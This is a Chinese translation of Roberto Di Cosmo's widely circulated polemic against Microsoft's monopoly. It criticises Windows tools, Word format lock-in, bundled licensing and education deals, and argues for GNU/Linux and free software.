2004年08月18日

这不是最新的文章,但绝对称得上经典,耐心看完后你会有所收获!

转自“蓝森林”网站

原作者迪-克斯莫(Roberto Di Cosmo)博士的网站

[译者按]本文是在法国互联网上流传很广的对微软的檄文,作者是计算机博士,现就职于法国巴黎第七大学计算机系。原文已经被翻译成英语、德语、西班牙语和意大利语,可以在http://www.pps.jussieu.fr/~dicosmo/找到。

一、引言

圣诞前期间,我再次被媒界铺天盖地的报道所震惊。“多媒体”、“万维网”、“互联网”这些时髦词汇及其派生物如雨后春笋充人耳目。在这些报纸、杂志和那些即兴“专家”眼里,您如果手里没有一台崭新的、价钱昂贵的、能把您带入那五彩缤纷的虚拟空间的计算机,您就不算是个幸福的人。

我们时刻都在听着一个永恒不变的教导:世界上只有一种计算机,它叫PC,当然一定是安装着Intel芯片的PC,而且世界上只存在一个必不可少的软件-微软生产的Window系列(大家干脆懒得去区分“操作系统”和“应用软件”这两个截然不同的名词,媒界所说的Window97实际上就是Window95捆绑上word、Excel等办公软件,被称为Office97的东西)。

更令人奇怪的还在后头,今天美国人已经开始从漫长的冬眠里觉醒,意识到这两个超级跨国公司的阴险嘴脸:它们利用自己的垄断地位,扼杀了无数产品性能远远高于自己的公司。而我们法国却厚颜无耻的在向这两个托拉斯献媚争宠。我佩服Ralph Nader(勇敢的站出来保护消费者的利益,令美国通用汽车公司撤回它们生产的不安全汽车),佩服美国司法部对微软的起诉,更佩服美国民众对此事的强烈反响:美国著名的亲微软的CNN电视台在网上做了民意测验,结果绝大多数网民支持司法部的举动,CNN竟然中止了此项调查,在无数网民的抗议下,不得不公布结果。

但是法国的民众还沉睡在微软那温柔的摇篮里,他们梦见一个仁慈的善者在向所有的学校乡村分发免费的Window95,真心实意的帮助法国弥补技术上的落后;他们微笑着看着天蓝色的屏幕上显示出一条条令人安心的信息,告诉用户某某环节某某过程引起了某某例外,当然这只是您自己的操作不当,不是Window的错误;他们在这美梦里从来不反问一下:一个比几十年前能把人类送上月球又安全送回来时所用的计算机还强劲几倍、几十倍的PC,被安装上微软的Office97以后,为什么不能正确的处理一本只有百来页的资料?

二、中药库和洗脑

我曾经几次有机会体会到法国人昏睡到了何种程度。最可笑的要数那次在火车上的故事。手提式电脑(一种价钱能高过一辆小汽车,可以放在书包里的PC,通常被用来玩扑克)象大哥大一样日益普及,尤其在火车飞机上为多。我的座位旁边是一位非常友好、善良的先生,一看上去就知道他是位年轻有为的工程师。他正在运行那个令人可笑的软件(等会儿我再解释为什么我这么评价这个软件)“Defrag”。屏幕上显示着一个漂亮的矩阵,有很多小方块在闪耀,四处奔跑,硬盘发出叽叽嘎嘎的美妙音响。

我实在忍不住自己的欲望(希望这位先生看到我的文章别记仇),赞美了一番他的机器后我装作傻里傻气的样子问他,这漂亮的软件是干什么的,为什么我的手提机子里没有?带着近乎怜悯的神情(“这可怜的家伙连这个软件都没有!”)他告诉我,这是一个高明绝顶的程序,能让您的计算机如虎添翼,把您的硬盘重新“安排整齐”。他象背诗一样把微软的说明书讲给我听:当您每次使用硬盘时,磁盘会逐渐“碎裂”开来,电脑的速度就会下降,所以您要时不时的运行一下 “Defrag”,让硬盘有条不紊,完好如初。

这时我拿出自己的手提电脑,上面安的是Linux(一个免费的、性能很好的、由网上几千人开发的Unix系统)。我满脸疑惑的告诉他:我这个机器上的硬盘永远是有条不紊,而且越使用,内存就越整齐。我们这位工程师有点尴尬了,他回敬我道:他用的系统是最新版本的Window95,是世界上最大的软件公司的产品。“您一定是在哪个地方搞错了!”他说。

我于是开始给他讲解什么叫磁盘碎裂问题,试图用最简单的比喻让他忘掉一会儿微软对他那些下毒式的宣传灌输。现在我就向各位看客介绍一下我俩当时半个小时的交谈。

你们大概都知道所有数据都存在计算机的硬盘里。这个硬盘就象一个巨大的中药库,有成千上万的小抽屉组成,每一个小抽屉都拥有同样的容量(一般是512个字节)。今天的电脑有几百万这样的抽屉。如果您的某个文件被存放在相邻的一组抽屉里,那么存取的速度就比分放在仓库的四面八方(被称作“磁盘碎裂”)时快得多。这一点也不难理解,您日常生活中就会遇到,比如您存放自己的鞋:它们如果被放在同一个盒子里,找起来就方便。我们都知道一个井井有条的仓库比乱七八糟的杂货铺好。剩下的问题是如何存放这些数据。

现在试想一下您是个国家部长,要把自己几百万份的材料放在一个巨大的、拥有几百万个抽屉的大立柜里,象上面解释的那样,您当然想让每一份材料尽可能的放在相近的一组抽屉里。您特意雇佣女秘书专管此事,有两个应聘者,她们的工作方法截然不同。第一位的作法是这样:当一份资料解决完了以后,她就把文件清除出去,新的文件到来时,她先把它们分成和抽屉大小一致的小块,把它们随意的放在最先能找到的空抽屉里去。您问她这样做岂不有点乱,下次我要想找这个材料不是要费劲?她告诉您,没关系,周末时您可以雇来几个小伙子把大立柜调整齐就是了!第二个女秘书的工作方法是另一个样:她手里时刻有一个表格,知道什么地方有多少空着的抽屉,每当新文件到达时,她先察看一下手头的表格,把新文件放到有足够数量的相邻的抽屉里去。这样大立柜永远是有条不紊。谁也不会怀疑这个部长会雇佣第二个秘书。说到这,我们这位工程师点头同意。

此时就非常容易向他解释了,Window95的作法正象第一个女秘书,她需要几个小伙子来整理部长的大立柜(用“Defrag”)。而Linux的文件管理方式就和那个优秀的女秘书一样,她根本不用去整理什么!火车到站时,这个年轻人很不高兴,人家一直告诉他“Defrag”能“加速电脑的运转”,现在才知道原来正是Window把他的机器减了速度!

事实上,有效的使用内存是一个老问题,很久以前就得到妥善的解决(Unix早在1984年就开始雇佣那个好秘书了)。还有比“Defrag”还可笑、令人厌恶的东西,这里没时间给大家讲那些小故事了。微软有一个叫“ScanDisk”的玩意,是用来修补硬盘的。它给您一大堆难以理解的选择,结果经常是把您的文件系统摧毁得一干二净,本来数据在使用它以前还是可以挽救的。这种事情在Unix系统下不但不会发生,而且该技术在十年前就在大学的计算机课程里讲授了。“Defrag”和比它更可恶的“ScanDisk”的存在就足以让大家把微软的系统扔进垃圾堆去。

可是在微软的洗脑式的宣传教育和我们自己的昏昏沉睡之下,法国正准备把所有银行计算机系统换成微软的产品,更有甚者,要用这些东西教育我们的下一代。

正是用这种规模宏大的商业运作,有些公司成功的把它们致命的缺点说成为技术上的绝活,让所有人坚信不移。很多真正懂技术、能把这些蠢事识破、揭露它们鬼把戏,让那些所谓的“专家”哑口无言的人却沉默了。有一个奇怪的事实:一方面,没有一个严肃的计算机专家愿意在那些被标榜为计算机读物的杂志上发表文章,他们不愿意让自己的名子和那些卖狗皮膏药的人例在一起;另一方面,在毫无科学基础的支持下,在各商业公司的广告赞助下,这些公司更是变本加厉的在这些地方骗人,于是更没有人愿意和他们同流合污,去说几句公道的话。

三、信息税

但是,WinTel(美国媒界对微软和Intel的总称)正在进行的对法国乃至世界计算机行业的垄断已经到了不可以再沉默的时候了,没有任何借口可以允许我们再醉生梦死。这不仅仅是“明明知道有高水平的产品而宁愿去忍受一个劣质的高科技”:当年消声灭迹的Video 2000和Betamax就比现在的VHS(录像机制式)要优良。现在的问题是我们自己的政府对它们在信息领域的垄断大开绿灯,而从中受益的只有WinTel。我敢肯定只要稍微有点经济头脑的人就知道我想说什么:几年来这个“独裁者”已经成功的在我们身上收取了“垄断税”:用它们绝对优势的地位高价销售,对消费者进行名副其实的敲诈勒索,因为你们只能从它这里买东西。这笔税收的数额巨大,可恶性在于它是偷偷的流出我们欧共体,不仅不创造任何国家财富,而且起到了摧毁的作用。

下面我们就一起来看这个垄断者是怎么样年复一年、日复一日的巩固它们的地位,又是怎么样对大家的日常经济生活造成威胁。在计算机这种特殊的领域,此类毫无道德准则的公司对世界所造成的恶果尤其可怕。我们先看看它们的那些“合法”的、讲道理的行为。

四、软件的独特性

我们每购买一个PC,就等于给微软纳了一次税,为了搞清楚这个问题,我们应该先知道下面这个基本事实,计算机科技和其它高科技不同一点是:复制软件的成本费用低廉。一个软件的开发可能很耗经费,但一旦制成,它可以被几块钱一张的光盘所复制,或者从收费日益下降的万联网处下载,其渠道及形式和软件本身的功能、质量毫不相关。只有一个东西的成本是不能忽略的,那就是被称为“载体”的东西。例如厚厚几千页的说明书,几十张磁盘(当您不幸,还不具有光盘系统时)。但是本应该想办法降低这笔成本的软件出版社和发行商,却反过来进攻这块阵地。您可能已经注意到了,当您从超级市场买回来附有很多软件的PC时,发现没有一个软件是备好完整的说明书的,充起量只有几页解说词。当然您如果愿意,可以自己掏几十、上百块钱从网上把这几千页纸下载打印出来。我甚至还碰到过一个生产手提电脑的著名日本企业(不点出它的名字了)干脆连光盘也不给您,把所有软件都安进硬盘里去了。我只好自己买几十个磁盘,象玩现代乐一样折腾一整天才把它们备好份。我们现在可以说,复制一个软件的成本费对出版商来说几乎是零。

软件的另一个独特性是它的法律权利。粗想一下,其道理无泄可击:象艺术品一样,软件这个错综复杂的、牵撤到千家万户人日常生活的当今“高科技的结晶”,应该受到法律保护(所有软件工业都自名为“出版社”)。但是您找不到一个法律条文,规定一个软件必须完成某某工作,或拥有某某功能,即便是说明书上白字黑字写清楚的性能它也有权利不保证做到。这种事发生在一本小说或一幅油画作品上还有情可原,对于一个软件就毫无道理了,事实上就是这样:您可以上法庭控告您的下水道工或电工,但您永远没权利去控告微软公司的产品,说它们的东西不遵守生产工序,和说明书吹嘘的功能不符。

更可恶的是,微软对它们的系统给您造成的灾难毫无责任。我们可以再重复说一个例子:如果您儿子因为听了一个摇滚音乐碟子,和您争吵起来,您一怒之下把家里的一个中国明朝的瓷器打碎了,您的确没有任何权利去控告那位歌星。可是如果您存在硬盘里的200M的商业资料被Window95那个臭名昭著的ScanDisk摧毁,您为什么也没有权利去控告微软公司?您完全有能力在任何讲公道的法庭上证明:早在70年代,人类就掌握了必要的技术,并已公布于市,能让您那200M的心血不至于丢失。而使用该技术的AT&T公司的Unix系统的原程序不是被你们微软买下了么?反过来,您完全有理由起诉您的电灯安装公司,他们把电线埋进你家的木制墙柱子里去了(欧洲认为这样安装法是非法行为)。

如果您的软件出自于一个周末抽空在自己家车库里编写程序的工程师之手,这两个独特性还有情可原。事情却发生在这个经费达到天文数字、横跨欧美大陆之超级企业身上。这种“外交豁免权”对那些小型的软件出版商没多大用处。所有大型工业企业可以责令他们完成规定的指令,按劳取酬,按罪惩罚。但这些保障对于一个普通消费者和绝大多数中小企业来说是不可能得到的,微软这种冠冕堂皇的“出版社”可以在几个星期里让您倒闭关门。

和刚才那个火车上遇到的年轻人一样,我们开始感觉到在这花红酒绿的虚拟世界的后面,还着有不可告人的阴暗一面。这个被称为盖世绝伦的慈善公司,这个自许为站在世界科技和自由贸易主义颠峰的软件厂家,和我们的印象中的那个圣诞老人有点不一样了。我们现在只是在微软这颗星球的阴暗面走了一小段,更“精采”的还在后头。

五、硬件生产者落入圈套

微软的垄断地位还帮助它节省了各种商业费用,例如技术谘询、销售和售后服务。您总想:虽然微软没有义务帮你把系统安装好,但为了保住市场,它应该主动帮您这个忙吧?您不必为微软担心,它早就想好对策了,我把Window95的用户协议文本载录出一段:

    6.技术谘询。微软集团及其附属公司没有义务提供任何技术谘询,
      用户可以向计算机生产商请求帮助。

天衣无缝,对不对?它把所有任务都退给计算机生产商,后者虽然和“ScanDisk”、系统崩溃、硬盘摧毁这些悲剧毫无关系,但却不得不在经济上承受其后果。(我可是略知一二:为了在我的那个日本产的手提电脑上安装Window95,我给这个公司打了好几次电话,上面没点它的名,这回也不点了)如果Window95不霸占着垄断地位,电脑厂商难到会同意这样的条款出现?

对于那些销售渠道的商人来说,同样是这样。硬件生产者、机器组装者和卖给我们机器的人都要从自己腰包里掏钱:他们得付劳动力,在您的机器上预安装Window95。我们还能找到更绝的一招:从网上购买Window95。这真是天才想出来的,您交软件钱,交电话通讯费去下载(看看现在的Office所占空间您就知道这是一笔交小的支出),把出版商销售软件的费用降为真正的零法郎零生丁!您还在疑问,为什么美国有些议员建议对电子网络贸易不征税,这就是原因!

总结一下:如果我叫微软,而且只因为我叫微软,我就可以不受任何限制的向您出售任何东西,没有人可以起诉我的软件的质量次劣,正因为这点,我也不必把精力用来改进我的产品,而我的每个软件的消售所需经费却是个零,我的价钱却可以上扬。硬件都在不断的大幅度的降价,而微软的东西只有微弱的下调,新版本出来时还可能涨价。95年的Window95起始价800法郎到了现在成了1270法郎。我做的是彻头彻尾的无本万利的生意。

现在就有一个很有趣的问题,普通百姓对计算机一窍不通,那么这些大企业、国家机构、传播媒界等等人才济济的地方,为什么他们不使用自己的权利,拒绝选择微软的东西呢?为了回答这个问题,我们不能一味的怪罪于哪些在报纸、杂志上卖狗皮膏药的骗子们,虽然他们有不可推卸的责任。我们应该打个手电筒在微软这个巨大的商业结构的后面阴暗处好好看一看,就能发现它有许多行为是非法的!遗憾的是在我们法国这么多传播媒体里没有人站出来揭发这些,有的只是不疼不痒的批评文章,根本无法引起国家决策人员的注意,这才是真正的原因。

六、科学傻瓜之国

为了把事情弄清楚,我们现在暂时忘了计算机、软件、硬件这些东西。我们一直被告诉说这些东西是必不可少的,但也是深不可测的。也就是说我们没必要对此事有自己个人的观点,因为有人对你说:“这东西太复杂,听专家的选择吧!”在美国一个有名的杂志【Byte】上,干脆打出这么一句口号:Byte,Because the experts decide!(Byte,因为专家们决定了!)

我们把这些所谓的“专家”先放在一边,来访问一下我描绘出来的“科学傻瓜之国”(您不久就会明白,这根本不是幻想之国,是实实在在存在的国家)。这个国家有一个公司,我们就叫他MacroPress吧(以后简称MP)。一点一点的,MP获得了地球上所有印刷厂的控制权。它不负责出版报纸,只管印刷,用它特定的,只有它一个拥有版权的字体。突然有一天,在载歌载舞的欢呼声中,在铺天盖地的广告宣传下,MP公司宣布:它们发明了一种崭新的字体,能让您的报纸印出来更加现代化,漂亮无比。所有的报纸于是都用这个被称为Klingons的字体印刷(Klingons是电影【Star Trek】中的外星人),以至于每一个读者都得先去买一个MP公司发明的专用放大镜,才能看到新报纸。放大镜在大店小铺里都摆着,销售所需费用却是报纸出版社承担的。百姓们笑逐颜开,奔走相告,人手一镜。在这次巨大的成功的鼓舞下,MP公司开始定期的改变它们的字体,起先是每一年一换,后来每六个月一换。老放大镜看不了新报纸了,您得不断去出钱更换成新的。这时候来了一个聪明的竞争对手,它发现了一个赚钱的好办法:制造出比MP价钱便宜的迷你放大镜,也卖给大家。但是所有商店和MP公司有独营合同,不卖别的东西。更倒霉的是:MP公司正式起诉对方,所加的罪名是对方研究了它的Klingons字体,以用来生产迷你放大镜,结果,是MP打赢了这场官司!

七、...已经离我们不远了

您可能要这么说:谁又不是傻子,怎么会被欺骗到这种程度?可您知道,科学傻瓜之国已经向我们走来。两年以前,我向欧共体科技部申请经费,邀请一个访问学者来我们实验室合作。为此我得填写专门的表格。有人告诉我最好的办法是从网上下载,地址是:www.cordis.lu。从邮局寄过来要好几天。我下载了一份文件叫toto.doc,是用某某版本的Window95中某某版本的Word软件写的,简单说就是用Klingons字体。“没问题!”我心里想,我们实验室正好有个苹果机,上面有一部Word6.0放大镜,是最新版本,又是同一个公司的产品。这句话是那天早上10点钟说出的,令我大惊失措的是:经过十几分钟的转换,苹果机的Word6.0把机器整瘫痪了,我不得不关了机器重来,丢掉了刚才的劳动。

我于是和放大镜展开了一场不屈不挠的战役,最后由我取胜而结束。只剩下看表的力气的我发现这时已经是晚上7点钟了,不去细讲我是怎么解决这个问题的,我当时只是有个欲望,想把谁拉上法庭理论理论!究竟为了什么?不就是一个极其简单的表格:姓名、年龄等等,只要用一个公用的制式,比如1991年就开始通行的HTML就可以完成的!两年过去了,www.cordis.lu还毫无变化,网站漂亮了许多,可是所有大家需要的公用文件、表格还是“版权不可侵犯”的Word文本,只能用微软支持下的PC阅读。

所以,我们实验室马上要购买一台高档PC,安装好我们原本并不感兴趣的Window95系统和Office办公软件,就是为了能阅读欧共体的文件。MP的Klingons放大镜又打了个胜仗。

就象放大镜一样,文件的制式随着版本的更新而变换。这样,Word5.0不能阅读Word7.0的文件,更可笑的是苹果机的Word6.0不能阅读PC机的文件。我们就象傻子一样被牢牢的套住了!我们不仅仅要买一次word,每出来一个新的版本就得去买回来,就是为了能痛痛快快够阅读别人的新文件。如果您买了一本word5.0下的西班牙字典,您还得再去买一本回来,因为老字典已经不匹配了,而西班牙语这几个月没有什么变动吧?请注意,这是对您劳动成果的赤裸裸的绑架和要挟:您的数据一旦用它们的word或Money写成了,就基本上没办法把它转变成别的制式,想让另一个操作系统下的软件阅读,没门!而这明明是您自己辛辛苦苦用肉手敲出来的数据呀?您可以去微软的网址上找到一大堆专用的制式转换软件,您找不到可以转成非微软制式的工具。它们还想立法阻止别人使用、分析它们的文件制式,更不要说生产什么迷你放大镜。我们百姓需要的是没有人“控制的”公用制式!信了我的话了吧?我们就沐浴在这个科学傻瓜之国。

八、不三不四的行为

写到这,我们看出来了,微软的技巧其实很简单。一方面它先把你们用户推入其陷阱,把你们的宝贵的数据绑架在它那半年一换的“宝贵”制式里,逼着你去购买新版本,虽然您可能仅仅是想阅读本来就属于您自己的数据,或者是一些根本没必要以微软的制式存在的文件;另一方面,它把所有的竞争对手也推进陷阱,不把全部的资料给人家,甚至随意改动操作系统,其目的就是让对方的软件无法正常的运行。更有甚者,如果对方发现了这个鬼把戏,并揭发出来了,它还可以让人家吃官司,被判为 “reverse engineering”(计算机法律方面的词汇,在汽车工业里就相当于把别人的汽车马达打开来研究了一番)。为了证实我不是无根据的编造,大家可以看Stac和微软之间的官司。

第二个技巧尤其功效显著,特别是当软件出版社同时拥有操作系统(Window95)和应用软件(Word,Excel等):它可以轻而易举的在系统上做点手脚,在改进自己的软件的性能的同时,让竞争对手的软件失去稳定性。微软已经在Windows NT Workstation上这么做了:它人为地把同时联机数量定为10台机器,令所有配备有Netscape服务器的NT Workstation无法工作(请参考有关美国司法部和微软打官司的网页)。用户们只能出高价去购买WindowsNT操作系统,上面安装着免费的Web服务器。Netscape就这样被赶出市场(您要是知道NT Workstation和NT这两个系统的原程序其实只有几条语句不同这一事实,您就更加看出微软这个巫婆有多阴险毒辣)。

这些不三不四的行为的结果也很简单:阻止用户去购买别的企业的产品,只能买它微软的。它们用零的代价和风险建立了一套我上面所说的、完整的“信息税收”体系。税额都落进微软的口袋里。难怪比尔-盖兹访问法国时会受到总统府隆重的接待,因为客人正是当代最著名的虚拟世界里的“收租人”。“租子”可一点也不虚拟:每年欧共体付给他的外汇额难以计数,买回来的是劣质的科技产品,让我们一天比一天受它的约束,软件售价远远高于美国和加拿大。不要相信有人对你安慰的话儿:“软件得花钱找人翻译成法语呀?”您可以去微软的网站看一看,上面清楚的标明:法国人不得在加拿大购买法文版的微软产品(因为加拿大有一部分人说法语,而且那里的软件价钱要低很多)。这就是美国人鼓吹的“自由贸易主义”?别人把我们当成奶牛,而欧洲各政府的软弱无能,简直就是农场的挤奶工。只要看一看www.cordis.lu,就知道事情的严重性了。

九、和法律捉谜藏

现在谈谈微软是怎么真枪实弹地和法律叫板的。先说说法国律法严禁的“捆绑式”销售方式(【消费法】第一册、第二章、第一条:禁止在出售一个产品时,让消费者毫无选择的去购买另一个商品。欧洲各国的法律都有这方面的条文)。简单的说就是您买一个西瓜时,谁也不能逼迫您再买一个你不想要的烂西红柿。您当然在超级市场见过捆绑在一起的矿泉水,但如果您愿意,可以把包打开,只买其中一瓶,而在价钱上却不吃亏。但长久以来,那些大型PC组装厂家不给您这种选择,您必须买微软的系统(现在是Window95、Window98、Window2000、NT,以前是Dos、Window3.x)。您可以自己去Dell或Gateway的网站瞧一瞧:“组装您自己的计算机!”上面这样说。尽管硬件和软件是两个不同的产品,但人家不允许您把微软的放大镜扔掉。甚至您没办法知道Windows的价钱,这个价钱比商店里零售的要低的多(事实上这是微软和各厂商私下里定的合同,也是它的商业手段之一,在欧洲已经被法庭判过罪)。

为了让您在经济上有点确切的概念,我举一个小例子。几个月前,巴黎有所大学要购买15台PC,准备采用GNU/Linux为操作系统。我们不知道组装厂家给微软付了多少钱(估计每个系统至少有300法郎),也不知道消费者要在这个操作系统上付多少钱(就算是这300法郎吧,这个数字值得怀疑,因为“预安装”不会是免费的),反正这所大学要乖乖的交出15*300=4500法朗的经费,去买一个他们不需要的东西。也就是说国家(法国纳税人)送给微软一份4500法朗的礼物,给一个非欧共体、还没到“濒临破产、需要帮助”之地步的企业送了礼物。如果我们用这个数字推算开去,每年法国使用PC和GNU/Linux的大学(可喜的是越来越多)合在一起要浪费几百万法郎?现在大家知道了谁是真正的强盗!我很难理解这种无端的浪费,天天还听政府哭喊着说法国教育经费短缺!

如果您搅尽脑汁好好想想,理论上还是有办法让它们偿还您这笔钱。您可以继续去让那可怜的组装厂家更讨厌您,但您得做好打持久战的准备。我们学院里有好几个师生购买PC或手提电脑后安装了GNU/Linux或NextStep。有人试着去打这场战,但都落荒而逃。这是微软每年利润中的最重要部分,所以我们可以称之为“计算机税”:不管您愿意不愿意,每一台PC卖给用户,就有一笔固定的钱进了微软的银行帐户。微软干了十年这种勾当,给比尔-盖兹等一伙人创造出如此巨大的财富,挤垮了无数对手。1995年它受到美国和欧共体的判刑,但没有伴随着任何经济手段制裁。也就是说,我们眼看着小偷偷了钱,逍遥法外,而得到的只是一句“下回我不敢了” 这类不疼不痒的道歉。也正是这个没有经济制裁的、姑息养奸式的法律,怂恿了微软的不道德行为。您现在很难在市面上买到没有Windows的PC,除非您去找小规模的组装厂家。Dell和Gateway这两个例子很普遍:每一个购买PC的人,就加入了“微软用户”的统计数字,虽然买回来您做的第一件事可能就是把Windows扔进垃圾箱,安上GNU/Linux操作系统。

十、看看将来教育的走向

如果我们继续昏睡下去,由任它们推入陷阱,让微软霸占了教育领域,那还能有什么比这更可怕的呢?法国的“落后”是件好事也是件坏事,它给了我们一个机会:让我们能看到几种不同的走向。

先说说最近将来时,只需到我们的邻居瑞士看一看。今年10月8日,瑞士财政部长宣布和微软达成了协议,国家出资购买2500部计算机给各中学,微软免费提供软件系统,而且义务培训600名计算机教师人员(南非也获得了同样的礼物)。也就是说,我们这个垄断集团只用了连广告费用都不到的投资,就彻底掌握了瑞士的计算机教育体系,进而掌握了该国所有企业的未来,因为将来毕业的学生只认识Microsoft和Office。这不是一个令人欢欣鼓舞的前景,但至少瑞士人不用花钱买微软的东西了。

应该确切点说,现在还不用花钱。微软完全可以让您过一段时间再来站队交钱。就象去年12月发生在日本的事:微软宣布取消在该国的集体许可证(软件的许可证有两种,一种是单机许可证,适合于各人,一种是集体许可证,适合于企业和学校)。这个决定给日本带来巨大的额外支出,他们也没办法反抗,因为找不到另一家企业可以去求助。

再看远一点的将来。加利福尼亚州立大学(CSU)正在支持成立一个由微软牵头,GTE、Fujitsu及Hughes Electronics参加的有限公司:CETI。负责全部23所分校、35万师生员工的计算机软硬件的更新换代。CSU把学校的命运交到CETI手中,所得到的好处是几个亿美元的投资,分十年到位。CETI的计划一点儿也没隐瞒:全部安Window95、Window NT和Office。只需计算一下十年中所有老师学生私人购买软硬件所需经费就知道CETI的纯利润是它们投资额的几十倍,因为大家只能去买“独裁者”的产品,否则,就无法和有“版权”、“制式”等控制的计算机系统交流,有些课程就根本不能参加。我还没算一算这项宏伟蓝图给微软所带来的长远利益:今天的学生就是将来决策者(有知道这方面消息的朋友请告诉我该计划复审后的结论)。

十一、赌注是:全球信息控制权

但是摆在政治、商业赌桌上的筹码已经不是仅仅是教育、工业这两枚了:我们不能只看到几个硬件、软件的销售问题。摆在我们面前的谁来控制全球的信息,控制所有形式的数据传输:教育领域、金融市场、新老媒体乃至我们日常通信和私生活秘密([译者按]只要一提到干扰别人“私生活”,法国人就会义愤填膺)。如果某个企业独自获得了这方面的垄断地位,它就处在一个可以让大家为每做一次计算机数据传输都必须给它纳一次税的位置(例如在所传输金额上收一个规定的百分比,英文名为: “vigorish”),正如微软领导人之一Nathan Myrhvold在一份公司内部文件里所描述的、令他们激动不已的“宏伟蓝图”那样。这份证据就在美国司法部的手里,【华尔街报】对此做过专门报道。

而且,它还可以令您在个人自由这一权力上作出让步,进而使它领取更大的利润。想一想,就是这么一回事!所有要通过计算机传输的信息原则上都可以留下痕迹。在互联网上,当您舒舒服服地坐在椅子上通过您的多媒体PC欣赏艳丽的照片时,有人可以不声不响地把您的银行号码记录下来,偷偷的构造出(将来可以利用的)您的生理及心理的特征(这件事很早以前就可以做成功了,Web流览器中的“Cookies”就可以用来干此事。Sidewalk,微软的一个子公司,逼迫用户接受这些侵犯您个人隐私的条款,否则无法获得它的服务)。微软的毫无安全系数的扩展软件ActiveX,能让您银行的存款在您“自由自在”地冲浪于网上之即被人偷走。德国汉堡一群计算机爱好者在全国性电视台和报纸上无可争议的证明了这一点,而此事在我们法国根本找不到任何报道。即便微软自己不利用其漏洞百出的系统来伤害您,别人可以去帮它这个忙:如果您是通过互联网、用微软所谓的“绝对安全加密”方式购买物品,有位大学生发明的一种病毒可以在最普通的Word文件里流窜,经过八个小时的计算,“猜”出您的信用卡号码。当我们想到法国里昂银行([译者按]一家国立银行,前年濒临倒闭,给法国纳税者头上添出两千亿法朗的债务)刚刚和微软签订了合同,让它负责管理银行的英特网业务,这足以让人出一身冷汗。

旁人还可以暗中监视您的行踪,通过信用卡、手机推算出您的作息时间表,正如前几年发生的马赛打假球事件(警方通过手提电话记录,帮助证明马赛行贿对方球队)。提到这,我们应该密切关注法国电信局和微软将要进行的合作。

做贼而又不让人抓个人证物证具在,其唯一的妙招就是控制信息传输上下一条龙:您的计算机应该使用特定的软件,能够暗中偷窃用户的某些情报;英特网提供商(ISP)应该保存住您的痕迹:网址、连接方式及时间长短;您访问的网站也应该使用特定的软件,在和您的留览器交流之即识别出您的身份,留下您访问的历史。最重要的是:这些都是瞒着您,暗地里做的!现在一个水平不高的电脑爱好者就可以发现这些秘密:有人在偷看你。他只要懂得电脑之间的数据传输格式就能做到。这些格式现在属于公共领域,它们还应该继续为公众所有,这才能让不同的公司在技术上开展合作。但是,如果明天市场上只剩下一家软件出版社,那么这些黑暗的角落里做的小动作就根本不会被任何人发现,否则就是触犯了“reverse engineering”这条欺君之罪。

您看出来了么?这不光是一件文字编辑的小问题。

十二、对欧洲、对就业的一个不可多得的机会

我国宣传媒界对此事的消极被动的态度甚至狼狈为奸的举动令我吃惊和愤怒:我们正在默许一个近乎是十七世纪的美洲海盗式的行为,我们是把国家经济独立当作砝码压了上去!我完全理解他们美国政府对此事挣一只眼闭一只眼([译者按]美国的法庭于99年11月6日宣布比尔-盖兹的公司有罪):钱是落到他们美国人的腰包里去的。但是我无法给自己解释清楚:法国政府也闭着眼睛,看不见这些钱是我们的血汗?

也不能说我们欧共体毫无反应。好象已经开始大规模地针对这些可疑的行为展开调查。我们从DGIV(法国政府一个机构,管理计算机技术的警察)官员的文字演说的字里行间隐约可以看到和日本官方结构FTC类似的措词。但是这些远远不够,现在的计算机市场雹展的如此之快,等到调查结果出来了,死孩子已经抱到南墙了:损失已经造成。如果象有些 “消息灵通人士”说的那样,还和95年一样,不伴随有任何经济制裁,还将是挠个痒痒。

我们有技术上的能力和经济上的力量,缺的是一个主动的、积极向上的计算机科技战略:别忘了,欧洲很多方面具有比美国还高水平的人力和智力。只随便举几个例子,NextStep这个被誉为 “世界上最受尊敬的软件”的作者之一就是法国人;欧洲的程序形式自动检测理论走在世界前列,它令人满意地完成了许多工作,最近的一次就是Ariane五号运载火箭的成功发射。

摆脱微软的垄断统治,现在有一个对欧洲来说是千载难逢的好机会,也会给我们的工业、学校带来巨大的益处,我们这儿天天吵嚷着市场“落后”、计算机普及程度不高,其实这正是我们最好的机遇,这说明我们还没有彻底地被人家推进陷阱。要知道,赶不上火车、轮船不要紧,要紧的是这趟车船将来会不会出轨道、翻船。我们还来得急给我们的企业、学校提供开放型的、价格低廉甚至免费的、性能优良而又稳定的计算机系统。现在越来越多有为的计算机爱好者在有可能的情况下,选择走这条路,他们扔掉的是一套预先安好的、布满地雷、陷阱的系统,获得的是一个近乎免费的、可自己随意改动的,开放的软件环境。结果,创造出无数就业机会。

十三、一个可行的出路:开放软件

当我们给中、小学孩子挑选计算机软件,做启蒙教育时,我们没必要收下垄断者掺着毒药的“礼品”。为什么非得去选择一个三天两头死机、版本定期无故被更换、原程序不能看到的软件系统,我们可以选择一个稳定性好、开放的、免费系统。不要被街上的流言蜚语所迷惑,免费系统早已证明了它的可行性和优越性。它可以让每一个年轻人在一个安全的环境下工作、学习,让那些有好奇心、肯钻研的人更好的学到计算机技术。如果他愿意,可以直接打开车盖,把马达大卸八块。

至于那些大型的商业机算机群体,最好也应该去信任那些备有原程序和完整的资料解释、而且时时刻刻都在受一批懂技术的专业人才检测、改进的软件。可以根据需要,花费很少的经费把它变成对企业有用的软件。

对于一个大型企业来说,“抛弃垄断封闭的产品,选择开放型操作系统”是一个具有战略性意义的决策。这一点,很多数学统计专家专门做过认真的调查研究,得到了定性、定量的结论。在我们欧洲能找到好多个这样的例子,他们有些产品杀入了美国市场。

这条路已经成为现实了。Richard Stallman和免费软件协会(Free Software Foundation)十五年前就开始了这方面的工作,其目的就是创造出一整套被称为GNU的完全免费的操作系统和应用软件。这项工作在Linux Torvalds领导下、由世界各地几千人努力而完成。他们非盈利的义务劳动,使得Linux操作系统得以诞生。这是一个免费的、开放的Unix系统。其真名应该是我上面提到的GNU/Linux系统。GNU/Linux系统的历史让人不能不想到法国人心目中极为珍贵的三条坐右铭:“自由”,“平等”,“博爱”。这个系统下我们几乎可以找到所有的东西:一个Web服务器,一个Java机器,一个DosEmulator,一系列GNU工具,甚至一套办公软件。不用付任何税,您就能获得一套完整可行的系统。欧共体为什么不可以伸出手来,给这种义务劳动予以支持和鼓励?几千万法朗,对整个欧共体的预算里又算得了什么?但这就足够让GNUstep这样的工程尽早完成,就可以促进GNU/Linux的发展,创造出一系列成龙配套、相互之间可以通用的办公软件。

